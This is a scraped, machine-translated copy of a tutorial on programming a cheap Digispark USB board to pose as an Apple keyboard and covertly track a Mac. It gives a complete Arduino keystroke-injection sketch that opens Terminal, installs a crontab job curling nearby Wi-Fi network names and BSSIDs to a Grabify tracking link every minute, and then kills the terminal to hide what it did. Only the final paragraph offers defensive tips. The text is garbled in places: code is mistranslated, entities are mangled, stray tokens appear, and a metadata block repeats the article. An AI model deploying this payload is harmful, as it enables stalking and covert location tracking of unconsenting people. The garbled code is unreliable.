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Home / Tips and Tricks / Defeat VPN and track a MacOS computer remotely «Zero Byte :: WonderHowTo

Defeat VPN and track a MacOS computer remotely «Zero Byte :: WonderHowTo



Digispark is an inexpensive USB development card that is programmable in Arduino and can pose as a keyboard, enabling you to deliver a number of payloads. For just a few dollars, we can use Digispark to deliver a payload to a macOS computer that will track the Mac every 60 seconds, even bypassing security as a VPN.

The trick to low-cost attacks on macOS computers is to use what is already installed on the system. Today we use several commands that do not require a password to run and can force a target to check in with a tracking server every 60 seconds.

Arduino for Hacking

In this third part about hacking with Arduino, we take out all the stops to track a macOS computer. The payload that we will use will benefit from tools built into macOS to send tracking information to a remote server so that we can see both the IP address and the location of the computer being monitored.

How it is possible is twofold. One: we can program Digispark so that it not only works as a keyboard but as an Apple-branded keyboard. This means that we do not receive any error messages that appear when we insert Digispark; Mac just thinks it's a regular Apple keyboard. Two: when connected, it will quickly enter all payloads that we specify in the computer. With the right combination of keystrokes, we can quickly start a terminal window and gather information that allows us to learn where a user is.

In the original version of the script, we simply sent a CURL request to a tracking URL. It would allow us to learn the current IP address of the device we are tracking but would prove useless if the target were to use a VPN. In the event that a target used a VPN, we would only learn the VPN's IP address, hiding the user's actual location for us.

Grabify & Tracking via Wi-Fi Networks

To take our tracking to the next level, we will bring together several parts of our previous attacks. First, we use the ̵

1; referrer flag for a CURL request to send data from the macOS computer to our tracking server. In this variable, we will place Wi-Fi networks that are close to the target computer. Thanks to services like Google Maps and
Wigle Wifi which index the location of most Wi-Fi networks, it is easy to use the information to find where a user is.

The advantage of using this method is that the command for scanning for Wi-Fi networks does not currently require a password on macOS, although it really should be. It can be used very quickly to find a user's location, which means it should be treated as location data. Fortunately for hackers, it's not! So we can use the output of the following command to see all the Wi-Fi networks nearby.

  /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s
SSID BSSID RSSI CHANNEL HT CC SECURITY (Author / unicast / group)
MySpectrumWiFia8-2G b0: 98: 2b: 4th: 62: ae -73 1 Y - WPA2 (PSK / AES / AES)
MySpectrumWiFi28-2G 84: a0: 6e: c2: 0a: 2e -74 1 Y - WPA2 (PSK / AES / AES)
Envy 40: 70: 09: 74: 48: b0 -67 6 Y US WPA2 (PSK / AES / AES)
ATT5ww86a2 10: 05: b1: 5d: 0c: 40 -75 11 Y - WPA2 (PSK / AES / AES)
SMQ2.4 c0: 56: 27: c8: c0: 96 -74 10 Y - WPA2 (PSK / AES / AES)
Cable Wi-Fi c4: 01: 7c: 13: 1c: c8 -56 11 Y US NONE
Red Polish-5G 60: 19: 71: f1: a3: 25 -87 36, + 1 Y WPA2 (PSK / AES / AES)
Vog Hair Salon-2 ac: b3: 13: 07: 42: 75 -77 44, + 1 Y US WPA2 (PSK / AES / AES)
claire-2g b0: 6e: bf: db: c1: b8 -70 1 Y US WPA2 (PSK / AES / AES)
NETGEAR57 50: 6a: 03: aa: 07: d6 -88 6 Y US WPA2 (PSK / AES / AES)
SMQ 2.4 00: ac: e0: 91: 65: 80 -78 6 Y US WPA2 (PSK / AES / AES)
Gryffindor ac: b3: 13: 7a: 4a: 90 -79 6 Y US WPA2 (PSK / AES / AES)
GoGo Foot 10: 05: b1: 32: bb: 30 -62 11 Y - WPA2 (PSK / AES / AES) 

There are too many lines to go through the URL of the reference, so we use some more arguments to condense it into a single line and remove any characters that may confuse the program.

  /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s | sed 1d | xargs | tr -d & # 39; & # 39; | tr -d & # 39; - & # 39;
MySpectrumWiFia82Gb0: 98: 2b: 4th: 62: ae731YWPA2 (PSK / AES / AES) MySpectrumWiFi282G84: a0: 6e: c2: 0a: 2e741YWPA2 (PSK / AES / AES) Envy40: 70: 09: 74: 48: 48: 48 AES / AES) ATT5ww86a210: 05: b1: 5d: 0c: 407511YWPA2 (PSK / AES / AES) SMQ2.4c0: 56: 27: c8: c0: 967410YWPA2 (PSK / AES / AES) CableWiFic4: 01: 7c: 13: 1c: c85611YUSNONERedPolish5G60: 19: 71: f1: a3: 258.736, + 1YUSWPA2 (PSK / AES / AES) VogHairSalon2ac: b3: 13: 07: 42: 757.744, + 1YUSWPA2 (PSK / AES / AES) SOYOG06: 77: 83: 0365132YUSWPA2 (PSK / AES / AES) SpectrumWiFic4: 01: 7c: 93: 1c: cc72116YUSNONESpectrumWiFiPlus 

Now we can send this very long string through a CURL request with the following payload.

  ~ # curl --silent - output / dev / null - reference & # 39; $ (/ System / Library / PrivateFrameworks / Apple80211.framework / Versions / Current / Resources / airport -s | sed 1d | xargs | tr -d & # 39; & # 39; | tr - d & # 39; - & # 39;) & # 39; https: //grabify.link/LINKstrong19659011 ?? What does it do? It searches for nearby networks, condenses them into a string with no spaces or dashes, and then sends it to the Grabify tracking link. For an attacker, the result of the request is the current IP address and Wi-Fi network close to the computer being monitored. For good measure, we also add the part  - silent - output / dev / null  to discard the response to our CURL request and avoid alerting the user. 

With the core of our payload, we need to decide how often we want to track the macOS computer and play the payload to a Digispark card.

What you need

To follow, you need a macOS target computer and an Arduino-compatible Digispark USB development card clone (AliExpress has some cheap ones).

The free, cross-platform Arduino IDE lets us prototype what we need quickly, so make sure you have it installed on your computer. The Arduino integrated development environment allows us to write quickly and upload scripts to Arduino-like microcontrollers.

You also need a web browser to create a Grabify URL to manage the tracking. Creating a Grabify link is free, and it lets you track all devices that connect to the URL it creates.

Step 1: Set up a Grabify link for tracking

First, you can go to Grabify to create your tracking URL, the same thing we used before when we caught internet catfish online. Enter the link you want to redirect your target to and click "Create URL."

It should create your tracking URL listed under the "new URL" field on the tracking page you will be redirected to automatically.

From the link shown you can see the result of the tracking. To test that the tracking link works, we send a CURL request behind our VPN. Make sure to add your link.

  curl https://grabify.link/YOURLINK





  Redirects to https://youtu.be/EaQYFBykJMA Chapter19659029 ?? Redirecting to <a href="https://youtu.be/EaQYFBykJMA"> https://youtu.be/EaQYFBykJMA </a>.
</body> </code></pre>
<p>  Now that we got to the tracking page, we should see a result. </p><div><script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>
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<figure>
<figure class="whtGallery pad-2" id="31100019docPartGal880023" role="group">
<div class="gallery-layout">
<div class="gallery-layout-container">
<figure class="gal-mgb" data-index="0"><img src="https://img.wonderhowto.com/img/74/96/63699272901611/0/hack-with-arduino-defeat-vpns-track-macos-computer-remotely.w1456.jpg" alt="  How to hack with Arduino: Defeat VPN and track a MacOS computer remotely " width="532" height="532" style="max-width:532px;height:auto;"/></figure>
</div>
</div>
</figure>
</figure>
<p>  Although we got a positive result, it is behind our VPN and think we are in Australia. Let's see if we can switch VPN with our Wi-Fi payload. </p>
</section>
<section>
<h2 class="step"><a id="jump-step2" class="anchor"/>  Step 2: Install Digispark in Arduino IDE </h2>
<p>  Before we can write code for the Digispark card, we must configure the Arduino IDE to recognize the board. To do so, open the Arduino IDE and go into the app's "Settings". In the "Settings" tab, look for the field that says "Extra Boards Manager URLs" and paste the following URL. </p>
<pre class="syntax-highlighted"><code class="language-unknown">  http://digistump.com/package_digistump_index.json </code></pre>
<p>  If you need more space, click the button next to the bar to open a window to add more URLs. Click "OK" to add it. </p>
<figure>
<figure class="whtGallery pad-2" id="11594188docPartGal880029" role="group">
<div class="gallery-layout">
<div class="gallery-layout-container">
<figure class="gal-mgb" data-index="0"><img src="https://img.wonderhowto.com/img/33/05/63699283472698/0/hack-with-arduino-defeat-vpns-track-macos-computer-remotely.w1456.jpg" alt="  How to hack with Arduino: Defeat VPNs and track a MacOS computer remotely " width="532" height="532" style="max-width:532px;height:auto;"/></figure>
</div>
</div>
</figure>
</figure>
<p>  Under "Tools", click "Board" and then "Boards Manager" to bring up the list of installed cards. The card library we need to install is the "Digistump AVR Boards" package. Justs searches for "digispark" to find it, then click "Install" next to the package to add it to your Arduino installation. </p>
<figure>
<figure class="whtGallery pad-2" id="59637578docPartGal880031" role="group">
<div class="gallery-layout">
<div class="gallery-layout-container">
<figure class="gal-mgb" data-index="0"><img src="https://img.wonderhowto.com/img/84/25/63699283384260/0/hack-with-arduino-defeat-vpns-track-macos-computer-remotely.w1456.jpg" alt="  How to hack with Arduino: Defeat VPN and track a MacOS computer remotely " width="532" height="532" style="max-width:532px;height:auto;"/></figure>
</div>
</div>
</figure>
</figure>
<p>  Now, you can select Digispark by selecting it from the "Appropriations" drop-down menu. Choose the first option "Digispark (standard - 16.5 mhz)" that the board we work with. </p>
<figure>
<figure class="whtGallery pad-2" id="49644947docPartGal880033" role="group">
<div class="gallery-layout">
<div class="gallery-layout-container">
<figure class="gal-mgb" data-index="0"><img src="https://img.wonderhowto.com/img/08/41/63699283414417/0/hack-with-arduino-defeat-vpns-track-macos-computer-remotely.w1456.jpg" alt="  How to hack with Arduino: Defeat VPN and track a macOS computer remotely " width="532" height="532" style="max-width:532px;height:auto;"/></figure>
</div>
</div>
</figure>
</figure>
<p>  When we are done we should be able to write to the Digispark board. It works a little differently than a regular Arduino, and I'll go through it when it's time to flash the board. </p>
</section>
<section>
<h2 class="step"><a id="jump-step3" class="anchor"/>  Step 3: Write the payload in Arduino </h2>
<p>  Now it is time to go through the Arduino code and describe what we want it to do. First, we call the "DigiKeyboard.h" library and begin the two parts of our Arduino sketch, the installation and looping functions. In the loop function, we will execute our DigiKeyboard commands, starting with <strong> DigiKeyboard.sendKeyStroke (0); </strong> command. It sometimes solves a problem with DigiSpark getting stuck and not tying anything. </p>
<pre class="syntax-highlighted"><code class="language-clike">  # include "DigiKeyboard.h"
invalid installation () {}
void loop () {
DigiKeyboard.delay (2000);
DigiKeyboard.sendKeyStroke (0); </code></pre>
<p>  Once we have set up Digispark for output, we can start entering the first part of our payload. First, we need to get the search engine's search menu to appear on the target macOS screen to get us to a terminal window. </p>
<p>  We open a terminal window by programming <em> Space </em> and <em> Command </em> to compress and then type "terminal" when the text field is displayed. Finally, we press <em> Enter </em> to select and start terminal from the list of suggestions. The code for these steps appears below. </p>
<pre class="syntax-highlighted"><code class="language-clike">  DigiKeyboard.sendKeyStroke (KEY_SPACE, MOD_GUI_LEFT);
DigiKeyboard.delay (600);
DigiKeyboard.print ("terminal");
DigiKeyboard.sendKeyStroke (KEY_ENTER); </code></pre>
<p>  After allowing five seconds for a terminal window to open, we will use the command <strong> crontab -e </strong> to schedule a task to be performed in the background every sixty seconds. </p>
<p>  To make things easier, we also specify that we want to use the text editor "nano" with the <strong> export VISUAL = nano </strong> string. When the script press <em> Enter </em> on the target computer, a nano window should be opened to add commands to crontab. </p>
<pre class="syntax-highlighted"><code class="language-clike">  DigiKeyboard.delay (5000);
DigiKeyboard.print ("export VISUAL = nano; crontab -e");
DigiKeyboard.delay (500);
DigiKeyboard.sendKeyStroke (KEY_ENTER);
DigiKeyboard.delay (1000);
DigiKeyboard.sendKeyStroke (KEY_ENTER); </code></pre>
<p>  In the nano text editor that opens, we will program Arduino to paste the payload we wrote, after five asterisks. The five asterisks indicate that these commands should be executed every sixty seconds. </p><div><script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>
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<p>  We must also make sure to avoid quotation marks with a backslash, such as <strong>  & # 39; </strong> to avoid Arduino interpreting it as the end of our string. The result will look like below. </p>
<pre class="syntax-highlighted"><code class="language-clike">  DigiKeyboard.print ("* * * * * curl - silent --output / dev / null --referer  & # 39; $ (/ System / Library / PrivateFrameworks / Apple80211.framework / Versions / Current / Resources / airport -s | sed 1d | xargs | tr -d & # 39; & # 39; | tr -d & # 39; - & # 39;)  & # 39; https: //grabify.link/YOURLINK ") ; Chapter19659011 ?? Now we have added the payload, we have to save it. In nano, we can do this by pressing <em> Control-X </em> together, then <em> Y </em> and <em> Enter </em> to save the file. It saves the payload and leaves the nano back to the terminal window. The code for doing so looks like this: </p> <pre class="syntax-highlighted"><code class="language-clike">  DigiKeyboard.delay (1000);
DigiKeyboard.sendKeyStroke (KEY_X, MOD_CONTROL_LEFT);
DigiKeyboard.delay (500);
DigiKeyboard.sendKeyStroke (KEY_Y);
DigiKeyboard.delay (500);
DigiKeyboard.sendKeyStroke (KEY_ENTER);
DigiKeyboard.delay (500); </code></pre>
<p>  Finally, we have to close everything so that it is not obvious what we just did. We do this by waiting for all background procedures to be completed and then killing the parent of the parent for the current process. It is quite aggressive, but it really gets the job done to close the terminal window. </p>
<pre class="syntax-highlighted"><code class="language-clike">  DigiKeyboard.print ("wait & & kill -9 $ (ps-p $ PPID -o ppid =)");
DigiKeyboard.delay (500);
DigiKeyboard.sendKeyStroke (KEY_ENTER); </code></pre>
<p>  Composing everything, the entire script should look like the code below. </p>
<pre class="syntax-highlighted"><code class="language-clike">  / * Digispark VPN buster to send the IP address and BSSID / SSID of nearby Wi-Fi networks on a MacOS computer to a Grabify tracker every 60 seconds.
* /
# include "DigiKeyboard.h"
invalid installation () {}
void loop () {
DigiKeyboard.delay (2000);
DigiKeyboard.sendKeyStroke (0);
DigiKeyboard.sendKeyStroke (KEY_SPACE, MOD_GUI_LEFT);
DigiKeyboard.delay (600);
DigiKeyboard.print ("terminal");
DigiKeyboard.sendKeyStroke (KEY_ENTER);
DigiKeyboard.delay (5000);
DigiKeyboard.print ("export VISUAL = nano; crontab -e");
DigiKeyboard.delay (500);
DigiKeyboard.sendKeyStroke (KEY_ENTER);
DigiKeyboard.delay (1000);
DigiKeyboard.sendKeyStroke (KEY_ENTER);
DigiKeyboard.print ("* * * * * curl - silent - output / dev / null --referer " $ (/ System / Library / PrivateFrameworks / Apple80211.framework / Versions / Current / Resources / airport -s | sed 1d | xargs | tr -d & # 39; & # 39; | tr -d & # 39; - & # 39;)  "https://grabify.link/YOURLINK");
DigiKeyboard.delay (1000);
DigiKeyboard.sendKeyStroke (KEY_X, MOD_CONTROL_LEFT);
DigiKeyboard.delay (500);
DigiKeyboard.sendKeyStroke (KEY_Y);
DigiKeyboard.delay (500);
DigiKeyboard.sendKeyStroke (KEY_ENTER);
DigiKeyboard.delay (500);
DigiKeyboard.print ("wait & & kill -9 $ (ps -p $ PPID -o ppid =)");
DigiKeyboard.delay (500);
DigiKeyboard.sendKeyStroke (KEY_ENTER);
for (;;) {/ * even * /}} </code></pre>
<p>  Now it's time to flash the code to our Digispark. </p>
</section>
<section>
<h2 class="step"><a id="jump-step4" class="anchor"/>  Step 4: Flash payload </h2>
<p>  When you are ready to flash Digispark, make sure it is disconnected first. Click the arrow in the upper left of the Arduino window, and the code will compile. In the window at the bottom, Arduino will instruct you to connect Digispark within 60 seconds. </p>
<pre class="syntax-highlighted"><code class="language-unknown">  Run Digispark Uploader ...
Connect the device now ... (60 seconds timeout)
> Connect the device ...
> Press CTRL + C to exit the program. </code></pre>
<p>  Go ahead and plug it in, and the code will be uploaded. If you see the output as below you have done it! Disconnect the plug when ready, as the payload will run after five seconds. </p>
<pre class="syntax-highlighted"><code class="language-clike">> The device is found!
connection: 16% complete
connection: 22% complete
connection: 28% complete
connection: 33% completed
> The device has firmware version 1.6
> Available space for user applications: 6012 bytes
> Suggested sleep between broadcast pages: 8ms
> Full page count: 94 page size: 64
> Delete function sleep duration: 752ms
analysis: 50% complete
> Delete memory ...
deletion: 55% complete
deletion: 60% complete
deletion: 65% complete
> Starting uploading ...
writing: 70% complete
writing: 75% complete
Writing: 80% complete
> Start user app ...
Run: 100% complete
>> Micronucleus done. Thanks! </code></pre>
<p>  If that didn't work, try disconnecting and retrying. You may also need to adjust Digispark in the USB socket a little to get in touch, depending on which socket your computer uses. </p>
</section>
<section>
<h2 class="step">  Step 5: Run the script and check the trace logs </h2>
<p>  Now that the code is on Digispark, we can connect it and see it run. Make sure you have left all terminal windows and then connect Digispark to see the payload and look for any snags. You may need to adjust the timing of your script depending on what you see. </p>
<p>  When you have a script that runs smoothly, we can check the Grabify tracking page to see if we got the effect we wanted. What we hope to see is the IPN address of the VPN, combined with the very long string of Wi-Fi networks nearby. </p>
<figure>
<figure class="whtGallery pad-2" id="65750273docPartGal880059" role="group">
<div class="gallery-layout">
<div class="gallery-layout-container">
<figure class="gal-mgb" data-index="0"><img src="https://img.wonderhowto.com/img/36/03/63699276120752/0/hack-with-arduino-defeat-vpns-track-macos-computer-remotely.w1456.jpg" alt="  How to hack with Arduino: Defeat VPN and track a MacOS computer remotely " width="532" height="532" style="max-width:532px;height:auto;"/></figure>
</div>
</div>
</figure>
</figure>
<p>  The result above we have successfully obtained a strict SSID and BSSID that belong to networks close to the target for us to track. We can take BSSID from the first network, RedPolish, and run it through <a href="https://wigle.net/" rel="nofollow" target="_blank"> Wigle Wifi to see if anyone has observed where that network is located. </p>
<p>  If you find that you do not see a reference, the string of nearby networks may be too long. You can add <strong> cut -c -200 </strong> after <strong> tr -d & # 39; - & # 39; </strong> in your payload to try to fix this, reduce the total number of characters sent to 200 max. [19659002] At Wigle.net we can use the search function to search for the BSSID we are interested in. </p>
<figure>
<figure class="whtGallery pad-2" id="33399267docPartGal880061" role="group">
<div class="gallery-layout">
<div class="gallery-layout-container">
<figure class="gal-mgb" data-index="0"><img src="https://img.wonderhowto.com/img/97/86/63699276186142/0/hack-with-arduino-defeat-vpns-track-macos-computer-remotely.w1456.jpg" alt="  How to hack with Arduino: Defeat VPN and track a MacOS computer remotely " width="532" height="532" style="max-width:532px;height:auto;"/></figure>
</div>
</div>
</figure>
</figure>
<p>  There we go! Although VPN says Australia, we have proven that the user is actually located in Los Angeles by tracking the location of a network they are physically close to. VPN could not do much to protect the targeted computer from being located. </p>
</section>
<section>
<h2 class="sectionHeadline">  <a id="jump-itseasytocreatehidpayloadsinarduino" class="anchor"/> It is easy to create HID payloads in Arduino </h2>
<p>  Using built-in tools on a MacOS computer, we have shown that it is easy to create a tracking script that can be delivered with a $ 1 Arduino card . Leaving your computer unlocked and unattended makes it easy to swap for an attack like this, so always close and lock your laptop before leaving it unattended, even briefly. </p>
<p>  You can make your computer slightly less vulnerable to attacks like this by changing default shortcuts so that things like the Spotlight Search field use other key combinations to boot. If you are worried about this or other crontabs running in the background, you can list them by running <strong> crontab -l </strong> in your terminal and look for something suspicious. </p>
<p>  I hope you liked this guide for using cheap Arduino hacking tools! If you have any questions about this tutorial on Digispark and Grabify, leave a comment below and feel free to reach me on Twitter <a href="https://twitter.com/kodykinzie" rel="nofollow" target="_blank"> @KodyKinzie </a>. </p><div><script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>
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<blockquote class="center">
<p><strong>  Don't Miss: <a href="https://null-byte.wonderhowto.com/how-to/hack-wi-fi-hunting-down-cracking-wep-networks-0183712/"> How to Hack Wi-Fi: Hunting Down & Cracking WEP Networks </strong></p>
</blockquote>
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			<script type="application/ld+json">{"@context":"http:\/\/schema.org","@type":"NewsArticle","dateCreated":"2020-04-07T00:14:28+00:00","datePublished":"2020-04-07T00:14:28+00:00","dateModified":"2020-04-07T00:14:28+00:00","headline":"Defeat VPN and track a MacOS computer remotely \u00abZero Byte :: WonderHowTo","name":"Defeat VPN and track a MacOS computer remotely \u00abZero Byte :: WonderHowTo","keywords":[],"url":"https:\/\/howtotechnoglitz.com\/defeat-vpn-and-track-a-macos-computer-remotely-zero-byte-wonderhowto\/","description":"Digispark is an inexpensive USB development card that is programmable in Arduino and can pose as a keyboard, enabling you to deliver a number of payloads. For just a few dollars, we can use Digispark","copyrightYear":"2020","publisher":{"@id":"#Publisher","@type":"Organization","name":"","logo":{"@type":"ImageObject","url":"https:\/\/howtotechnoglitz.com\/wp-content\/themes\/my-sahifa-up\/images\/logo@2x.png"},"sameAs":["https:\/\/twitter.com\/tech2s"]},"sourceOrganization":{"@id":"#Publisher"},"copyrightHolder":{"@id":"#Publisher"},"mainEntityOfPage":{"@type":"WebPage","@id":"https:\/\/howtotechnoglitz.com\/defeat-vpn-and-track-a-macos-computer-remotely-zero-byte-wonderhowto\/"},"author":{"@type":"Person","name":"admin","url":"https:\/\/howtotechnoglitz.com\/author\/admin\/"},"articleSection":"Tips and Tricks","articleBody":"\r\n\r\n\r\n                \r\n                    \r\n                      Digispark is an inexpensive USB development card that is programmable in Arduino and can pose as a keyboard, enabling you to deliver a number of payloads. For just a few dollars, we can use Digispark to deliver a payload to a macOS computer that will track the Mac every 60 seconds, even bypassing security as a VPN.   The trick to low-cost attacks on macOS computers is to use what is already installed on the system. Today we use several commands that do not require a password to run and can force a target to check in with a tracking server every 60 seconds. \n\n  Arduino for Hacking   In this third part about hacking with Arduino, we take out all the stops to track a macOS computer. The payload that we will use will benefit from tools built into macOS to send tracking information to a remote server so that we can see both the IP address and the location of the computer being monitored.   How it is possible is twofold. One: we can program Digispark so that it not only works as a keyboard but as an Apple-branded keyboard. This means that we do not receive any error messages that appear when we insert Digispark; Mac just thinks it's a regular Apple keyboard. Two: when connected, it will quickly enter all payloads that we specify in the computer. With the right combination of keystrokes, we can quickly start a terminal window and gather information that allows us to learn where a user is.   In  the original version of the script, we simply sent a CURL request to a tracking URL. It would allow us to learn the current IP address of the device we are tracking but would prove useless if the target were to use a VPN. In the event that a target used a VPN, we would only learn the VPN's IP address, hiding the user's actual location for us. \n\n  Grabify & Tracking via Wi-Fi Networks   To take our tracking to the next level, we will bring together several parts of our previous attacks. First, we use the  - referrer  flag for a CURL request to send data from the macOS computer to our tracking server. In this variable, we will place Wi-Fi networks that are close to the target computer. Thanks to services like Google Maps and  Wigle Wifi which index the location of most Wi-Fi networks, it is easy to use the information to find where a user is.   The advantage of using this method is that the command for scanning for Wi-Fi networks does not currently require a password on macOS, although it really should be. It can be used very quickly to find a user's location, which means it should be treated as location data. Fortunately for hackers, it's not! So we can use the output of the following command to see all the Wi-Fi networks nearby.    \/System\/Library\/PrivateFrameworks\/Apple80211.framework\/Versions\/Current\/Resources\/airport -s\nSSID BSSID RSSI CHANNEL HT CC SECURITY (Author \/ unicast \/ group)\nMySpectrumWiFia8-2G b0: 98: 2b: 4th: 62: ae -73 1 Y - WPA2 (PSK \/ AES \/ AES)\nMySpectrumWiFi28-2G 84: a0: 6e: c2: 0a: 2e -74 1 Y - WPA2 (PSK \/ AES \/ AES)\nEnvy 40: 70: 09: 74: 48: b0 -67 6 Y US WPA2 (PSK \/ AES \/ AES)\nATT5ww86a2 10: 05: b1: 5d: 0c: 40 -75 11 Y - WPA2 (PSK \/ AES \/ AES)\nSMQ2.4 c0: 56: 27: c8: c0: 96 -74 10 Y - WPA2 (PSK \/ AES \/ AES)\nCable Wi-Fi c4: 01: 7c: 13: 1c: c8 -56 11 Y US NONE\nRed Polish-5G 60: 19: 71: f1: a3: 25 -87 36, + 1 Y WPA2 (PSK \/ AES \/ AES)\nVog Hair Salon-2 ac: b3: 13: 07: 42: 75 -77 44, + 1 Y US WPA2 (PSK \/ AES \/ AES)\nclaire-2g b0: 6e: bf: db: c1: b8 -70 1 Y US WPA2 (PSK \/ AES \/ AES)\nNETGEAR57 50: 6a: 03: aa: 07: d6 -88 6 Y US WPA2 (PSK \/ AES \/ AES)\nSMQ 2.4 00: ac: e0: 91: 65: 80 -78 6 Y US WPA2 (PSK \/ AES \/ AES)\nGryffindor ac: b3: 13: 7a: 4a: 90 -79 6 Y US WPA2 (PSK \/ AES \/ AES)\nGoGo Foot 10: 05: b1: 32: bb: 30 -62 11 Y - WPA2 (PSK \/ AES \/ AES)    There are too many lines to go through the URL of the reference, so we use some more arguments to condense it into a single line and remove any characters that may confuse the program.    \/System\/Library\/PrivateFrameworks\/Apple80211.framework\/Versions\/Current\/Resources\/airport -s | sed 1d | xargs | tr -d & # 39; & # 39; | tr -d & # 39; - & # 39;\nMySpectrumWiFia82Gb0: 98: 2b: 4th: 62: ae731YWPA2 (PSK \/ AES \/ AES) MySpectrumWiFi282G84: a0: 6e: c2: 0a: 2e741YWPA2 (PSK \/ AES \/ AES) Envy40: 70: 09: 74: 48: 48: 48 AES \/ AES) ATT5ww86a210: 05: b1: 5d: 0c: 407511YWPA2 (PSK \/ AES \/ AES) SMQ2.4c0: 56: 27: c8: c0: 967410YWPA2 (PSK \/ AES \/ AES) CableWiFic4: 01: 7c: 13: 1c: c85611YUSNONERedPolish5G60: 19: 71: f1: a3: 258.736, + 1YUSWPA2 (PSK \/ AES \/ AES) VogHairSalon2ac: b3: 13: 07: 42: 757.744, + 1YUSWPA2 (PSK \/ AES \/ AES) SOYOG06: 77: 83: 0365132YUSWPA2 (PSK \/ AES \/ AES) SpectrumWiFic4: 01: 7c: 93: 1c: cc72116YUSNONESpectrumWiFiPlus    Now we can send this very long string through a CURL request with the following payload.    ~ # curl --silent - output \/ dev \/ null - reference & # 39; $ (\/ System \/ Library \/ PrivateFrameworks \/ Apple80211.framework \/ Versions \/ Current \/ Resources \/ airport -s | sed 1d | xargs | tr -d & # 39; & # 39; | tr - d & # 39; - & # 39;) & # 39; https: \/\/grabify.link\/LINKstrong19659011 ?? What does it do? It searches for nearby networks, condenses them into a string with no spaces or dashes, and then sends it to the Grabify tracking link. For an attacker, the result of the request is the current IP address and Wi-Fi network close to the computer being monitored. For good measure, we also add the part  - silent - output \/ dev \/ null  to discard the response to our CURL request and avoid alerting the user.   With the core of our payload, we need to decide how often we want to track the macOS computer and play the payload to a Digispark card. \n\n  What you need   To follow, you need a  macOS target computer and an Arduino-compatible Digispark USB development card clone (AliExpress has some cheap ones).   The free, cross-platform Arduino IDE lets us prototype what we need quickly, so make sure you have it installed on your computer. The Arduino integrated development environment allows us to write quickly and upload scripts to Arduino-like microcontrollers.   You also need a web browser to create a Grabify URL to manage the tracking. Creating a Grabify link is free, and it lets you track all devices that connect to the URL it creates.   \n \n\n  Step 1: Set up a Grabify link for tracking   First, you can go to  Grabify to create your tracking URL, the same thing we used before when we caught internet catfish online. Enter the link you want to redirect your target to and click "Create URL."     It should create your tracking URL listed under the "new URL" field on the tracking page you will be redirected to automatically.     From the link shown you can see the result of the tracking. To test that the tracking link works, we send a CURL request behind our VPN. Make sure to add your link.    curl https:\/\/grabify.link\/YOURLINK\n\n\n\n\n\n  Redirects to https:\/\/youtu.be\/EaQYFBykJMA Chapter19659029 ?? Redirecting to  https:\/\/youtu.be\/EaQYFBykJMA .\n    Now that we got to the tracking page, we should see a result.     Although we got a positive result, it is behind our VPN and think we are in Australia. Let's see if we can switch VPN with our Wi-Fi payload. \n\n  Step 2: Install Digispark in Arduino IDE   Before we can write code for the Digispark card, we must configure the Arduino IDE to recognize the board. To do so, open the Arduino IDE and go into the app's "Settings". In the "Settings" tab, look for the field that says "Extra Boards Manager URLs" and paste the following URL.    http:\/\/digistump.com\/package_digistump_index.json    If you need more space, click the button next to the bar to open a window to add more URLs. Click "OK" to add it.     Under "Tools", click "Board" and then "Boards Manager" to bring up the list of installed cards. The card library we need to install is the "Digistump AVR Boards" package. Justs searches for "digispark" to find it, then click "Install" next to the package to add it to your Arduino installation.     Now, you can select Digispark by selecting it from the "Appropriations" drop-down menu. Choose the first option "Digispark (standard - 16.5 mhz)" that the board we work with.     When we are done we should be able to write to the Digispark board. It works a little differently than a regular Arduino, and I'll go through it when it's time to flash the board. \n\n  Step 3: Write the payload in Arduino   Now it is time to go through the Arduino code and describe what we want it to do. First, we call the "DigiKeyboard.h" library and begin the two parts of our Arduino sketch, the installation and looping functions. In the loop function, we will execute our DigiKeyboard commands, starting with  DigiKeyboard.sendKeyStroke (0);  command. It sometimes solves a problem with DigiSpark getting stuck and not tying anything.    # include "DigiKeyboard.h"\ninvalid installation () {}\nvoid loop () {\nDigiKeyboard.delay (2000);\nDigiKeyboard.sendKeyStroke (0);    Once we have set up Digispark for output, we can start entering the first part of our payload. First, we need to get the search engine's search menu to appear on the target macOS screen to get us to a terminal window.   We open a terminal window by programming  Space  and  Command  to compress and then type "terminal" when the text field is displayed. Finally, we press  Enter  to select and start terminal from the list of suggestions. The code for these steps appears below.    DigiKeyboard.sendKeyStroke (KEY_SPACE, MOD_GUI_LEFT);\nDigiKeyboard.delay (600);\nDigiKeyboard.print ("terminal");\nDigiKeyboard.sendKeyStroke (KEY_ENTER);    After allowing five seconds for a terminal window to open, we will use the command  crontab -e  to schedule a task to be performed in the background every sixty seconds.   To make things easier, we also specify that we want to use the text editor "nano" with the  export VISUAL = nano  string. When the script press  Enter  on the target computer, a nano window should be opened to add commands to crontab.    DigiKeyboard.delay (5000);\nDigiKeyboard.print ("export VISUAL = nano; crontab -e");\nDigiKeyboard.delay (500);\nDigiKeyboard.sendKeyStroke (KEY_ENTER);\nDigiKeyboard.delay (1000);\nDigiKeyboard.sendKeyStroke (KEY_ENTER);    In the nano text editor that opens, we will program Arduino to paste the payload we wrote, after five asterisks. The five asterisks indicate that these commands should be executed every sixty seconds.   We must also make sure to avoid quotation marks with a backslash, such as   & # 39;  to avoid Arduino interpreting it as the end of our string. The result will look like below.    DigiKeyboard.print ("* * * * * curl - silent --output \/ dev \/ null --referer  & # 39; $ (\/ System \/ Library \/ PrivateFrameworks \/ Apple80211.framework \/ Versions \/ Current \/ Resources \/ airport -s | sed 1d | xargs | tr -d & # 39; & # 39; | tr -d & # 39; - & # 39;)  & # 39; https: \/\/grabify.link\/YOURLINK ") ; Chapter19659011 ?? Now we have added the payload, we have to save it. In nano, we can do this by pressing  Control-X  together, then  Y  and  Enter  to save the file. It saves the payload and leaves the nano back to the terminal window. The code for doing so looks like this:    DigiKeyboard.delay (1000);\nDigiKeyboard.sendKeyStroke (KEY_X, MOD_CONTROL_LEFT);\nDigiKeyboard.delay (500);\nDigiKeyboard.sendKeyStroke (KEY_Y);\nDigiKeyboard.delay (500);\nDigiKeyboard.sendKeyStroke (KEY_ENTER);\nDigiKeyboard.delay (500);    Finally, we have to close everything so that it is not obvious what we just did. We do this by waiting for all background procedures to be completed and then killing the parent of the parent for the current process. It is quite aggressive, but it really gets the job done to close the terminal window.    DigiKeyboard.print ("wait & & kill -9 $ (ps-p $ PPID -o ppid 